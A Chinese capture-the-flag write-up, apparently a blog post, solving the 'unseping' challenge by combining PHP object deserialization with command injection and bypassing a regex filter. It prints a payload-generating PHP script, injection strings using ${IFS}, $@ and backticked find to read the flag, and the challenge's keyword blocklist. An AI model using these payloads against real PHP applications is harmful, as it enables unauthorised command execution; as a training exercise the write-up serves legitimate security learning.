江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

开始

进入题目链接后看见如图代码,我们直接抓住关键点,不要浪费精力。大概看一下具体关键内容,第一个大框框属于命令执行,第二个大框框属于正则过滤危险字符,第三个大框框属于反序列化提交的内容,并且进行base64的解码
在这里插入图片描述

解题

那么目标也很清楚了,我们可以通过命令执行获取flag且绕过PHP正则匹配,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可

序列化

in_array, 检查数组中是否存在某个值,如果method的变量为"ping",那么将执行下一行call_user_func_array()—调用回调函数(把一个数组参数作为回调函数的参数,第二个数组为被传入的索引数组),也就是说method为ping时,那么它的索引数组就是args变量,同时传入args变量也必须是数组才能执行语句

  function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

payload生成代码如下

<?php
class ease{
    private $method;
    private $args;
	
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array('id'));//序列化的具体成员变量
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>

提交payload进行验证,发现能执行当前命令
在这里插入图片描述

正则绕过

因为源代码绕过了斜杠和空格等关键字导致了不能直接获取flag信息,为了方便执行后续命令执行获得flag,我考虑的方案是空格绕过法,空变量绕过来绕过PHP正则的匹配

${IFS} 空格绕过
$@ 空变量

function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

接下来请按我说的做
将payload生成代码的id替换为要执行的命令,例如查看一下当前目录的详细信息

$a = new ease("ping",array('l$@s'));//修改payload生成代码的这一行即可

发现flag_1s_here目录下有flag
在这里插入图片描述

做到这里通常会卡住,获取flag必须要用斜杠"/"查看目录下的文件,思考一下有什么可以代替斜杆,然后获取flag。搜索了资料发现有些命令是可以查看目录下的文件,我们可以利用这个特性然后配合cat命令进行查看

find 查看当前及子目录下的所有文件

直接配合内联执行引用find命令特性,然后使用cat查看find列出的文件即可,因为flag就在当前目录

$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可

再次提交payload,查看源代码可以看见flag
在这里插入图片描述

结尾

看到网上和官方的wp解法都有点麻烦,要八进制编码等等,仔细思考方法其实不止一种,多动脑多查资料才有自己的解题思路

  • 25
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 18
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 18
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值